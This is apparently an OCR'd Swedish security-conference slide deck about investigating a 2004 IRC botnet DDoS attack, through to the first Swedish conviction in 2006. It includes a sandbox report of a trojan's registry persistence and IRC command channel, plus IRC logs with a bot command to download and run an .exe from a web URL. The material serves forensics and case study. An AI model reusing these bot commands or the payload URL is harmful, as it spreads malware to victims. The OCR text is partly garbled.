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Bakgrund

® Oberoende konsultforetag

® Specialiserade pa sakerhet

® Forskning om DoS och DDoS
® Varfor IRC?

® Utmarkt forskningsunderlag

® Mangder av analysdata ;-)




Bakgrund

QuakeNet

Varldens storsta IRC natverk
ca 250 000 anvandare

pan europeiskt nat

Grundat i Sverige och Danmark




2004-01-18 19:28

® En anvandare kontaktar oss for hjalp
e Utsatt for en tillganglighetsattack i hemmet

® Vi rekommenderar reflexmassigt en
polisanmalan




Ett botnat hittas

® En samling med smittade datorer
® Attacken hade utlosts av ett meningsutbyte

® Brottsoffret hade en aning om vem det
kunde vara




botnhat




utlosande faktor

jan 18 19:15:18 <Marklund> gillar itne dej
jan 18 19:15:23 <sorcer > Marklund:

d<C3><A5>ra-?
jan 18 19:15:49 <hajjen> 19:11:49 + sorcer

magpie: If you need any logs, other info,
just privmsg.
jan 18 19:18:38 --- Disconnected ().




Analys

® En av trojanerna har dubbla inkommade
koppel till QuakeNet

® Forvanad men samarbetsvillig anvandare ger
oss en kopia pa trojanen




J,L TCPView - Sysinternals: wmar.sysinternals.com

File ptions Process

Ha —
Frocess I Frotozol I Local Address I Hemote Addrese & I State
B mirc.exe:3608  TCF utoslaht bredbandzbolaget. ze: 3357 wineazy2. se. quakenet. org: BEES ESTABLISHED
1 algexs1936 TCP utozlaht: 2007 utozlaht:0 LISTEMING
mirc.exec 3688 TCP utozlaht: 2357 utozlakt:0 LISTEMIMG
<% mznmaar.exe... TCP utozlaht: 2787 utozlaht:0 LISTEMIMG
<% msnmzgrexe... TCP utozlaht: 3730 utozlaht:0 LISTEMIMG
&8 mshmsgr.exe:... TCP utaslahk 3873 Ltaslaht:0 LISTEMIMNG
-». mzhmsegr.exe... TCP utoslahk 3874 utoslaht:0 LISTEMIMG
" svchozexel. . TCP utozlaht: 1028 utozlaht:0 LISTEMIMG
1 svchost.exe: 7. TCP utoslahtepmap utoslaht:0 LISTEMING
E gychost execB. TCP utozlakt: 1025 utozlaht:0 LISTEMIMG
£ svchost.exe:8.. TCP utozlakt: 2002 utozlakt:0 LISTEMIMG
& svchostexed.. TCP utozlakt: 2003 utozlaht:0 LISTEMIMG
1 svchostexe:d.. TCP utozlaht: 5000 utozlaht:0 LISTEMIMG
| Systen:d TCP utaslaht microsoft-ds Ltaslaht:0 LISTEMIMNG
— Systern:d TCP utoslahk: 1029 utoslaht:0 LISTEMIMG
— Systern:4 TCP utoslaht bredbandzbolaget. ze:netbioz-szn utoslaht:0 LISTEMING
l:'i Yentrlo.exe:2... TCP utozlaht: 2248 utozlaht:0 LISTEMIMG
N} mzhmegr.exe:... TCP utoslakk 3889 utoslaht:0 LISTEMING
-».% mzhmegr.exe:... TCP utoslahk 4063 utoslaht:0 LISTEMIMG
& svchos.exe1... TCP utozlaht bredbandsbolaget. 221028 quakenet2 mediatraffic. i 6GEGY ESTABLISHED
= Yentrilo.exe2.. TCP utozlaht bredbandsholaget. ze: 3848 lgh1 86 tarpet. ac: 3734 ESTABLISHED
& mshmsgr.exe:... TCP utaslaht bredbandshaolaget. se: 3889 bavm-zb1 3. rzagr. hotmail corm: 1863 ESTABLISHED
+% msnmegr.exe... TCP utoslaht bredbandsbolaget. se: 3787 baym-cs33.mzgr.hotmal com: 1863 ESTABLISHED
-ti mzhmegr.exe:... TCP utoslaht bredbandsbolaget. ze: 4063 207 46.108.89:1863 ESTABLISHED
1 lzass.execBd8  LDP utoslahtizakmp s
b mzhmegr.exe... JDP utoslahk 3792 ke




norman sandbox

[ Changes to filesystem |
* Creates file CAWINDOWS\SYSTEM3Z2\svchos.exe,
* Deletes file CASAMPLE.EXE.

[ Changes to registry ]
* Creates value "Windows Configuration”="svchos.exe” in key "HKCINSoftware'MicrosoftWindows\CurrentVersion\RunOnce™.
* Creates value "Windows Configuration”="svchos.exe” in key "HKLM\Software\MicrosoftWindows\CurrentVersion'\Run®,

[ Metwark services |
" Connects to "irc.quakeneteu.org” on port GBET (IP).
* Connects to IRC server,
*IRC: Uses nickname G-CurrentlUser?.
*IRC: Uses username Currentlsery.
*IRC: Joins channel #sapultra with password gaddar.
* IRC: Sets the usermode far user Currentlser? to +i.
* IRC: Sets the channel mode for channel #sapultra to +nts.




Nasta steg

® Samla in loggar i realtid

® En maskerad klient som loggar all trafik i
#sapultra

® | oggar all aktivitet i +20 dagar




Fsapultra

MULTIMEDIABroskilde-66-33.ip-pluggen.com
3@213.66.36.155 [(Ping tim
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apwpbvEhl0lnlfl=310l1001.telia.com
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skanova.com

823.celia.com

9.bredband.=
neCd on

COMPUTER178t2030pl02.telia.com
~1-g93@t2065p39.telia.com
Magnus47@kloverl03.bitnet.

ME@hej.alla.kom.och.lek.med.




Ingen aning!?

23:13 -!'- Marklund [~MQ@rKluNdArN.users.gquakenet.org] has joined #sapultra
23:14 {#sapultra: < Marklund> Kersen, far jag lana dina botar fo6r att fixa mej ett eget
nat? jag ger dej botar nar jag fatt typ 100

23:
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#sapultra:
#sapultra:
#sapultra:
#sapultra:
#sapultra:
#sapultra:
#sapultra:
#sapultra:
#sapultra:
#sapultra:

< Marklund> ok?

< Marklund> Kersen

<@Kersen> nu hanger jag inte med

<@Kersen> smdlla in din bot pa mina eller?

< Marklund> ahh

< Marklund> download bara

< Marklund> ger dej botar sen

<@Kersen> ska du satta som topic eller bara dom har?

< Marklund> !'login XXXXXXXXXXX

< Marklund> !download-kers http://home.no/swf3/m4ln.exe c:\mé.exe
< G-Anna33> download http://home.no/swf3/md4ln.exe c:\md.exe




Avslutande grepp

® abuserapporter mot samtliga infekterade
klienter

® | oggar sammanstalls och bifogas
polisanmalan

e ca |00 Mb




Fortvivlan

Malet nerlagt
Ingen forundersokning inledd
Andra brott mer prioriterade

“llja” effekten




Forundersokning

Forhor pa plats i norra Sverige
Fantastiskt jobb av IT brottsutredaren

6 manaders langt krokben

Atal vicktes med ett par fa dagar tillgodo

Svar brottsrubricering




Tingsratten

® mamman
® forsvaret

® “vi hade ingen aaaaning..”

® “vi gjorde bara som vi blev tillsagda.”
e fientligt vittne

® ur led ar tiden




domslut

STOCKHOLMS DOM Mal nr B 353-06
TINGSRATT 2006-02-10
Avdelning 13 meddelad i
Rotel 1301 Stockholm
DOMSLUT
PA
BEGANGNA BROTT LAGRUM
Akl Egenmiktigt forfarande 8 kap 8 § 1 st 2 p brottsbalken
Kar
Inte .
PAFOLJD M. M.
Dagsbéter 40 4 30 kr
SARSKILD RATTSVERKAN

Den tilltalade ldggs att betala en avgift pa 500 kr enligt lagen (1994:419) om
brottsofferfond.




Dom

40 dagsboter a 30 kronor
Princip
Eventuellt prejudicerande varde

Forsta fallande domen i Sverige




nerlagt

mal tas upp

attack forundersokning redmond
\\ \ <
| |

tidslinje

2004

2005




tidslinje

2004-01-18 forsta attacken
2004-01-20 polisanmalan
2004-03-25 mal nerlagt

2004-04-25 overklagan
2004-06 malet tas upp igen




tidslinje

® 2004-07 forundersokning inleds

e 2005-01 till 2005-11 vara vanner i redmond
kor norman sandbox i 10 manader

® microsoft internet crime investigation
® 2005-12 forundersokning klar
® 2006-01-26 till 2005-01-27 tingsratten
® 2006-02-10 domslut faller




Reflektioner

Polisanmal

Logga

Spar loggar
Anvand alltid NTP

Driv malet




referenser

® Brottsmal B353-06




fragor?




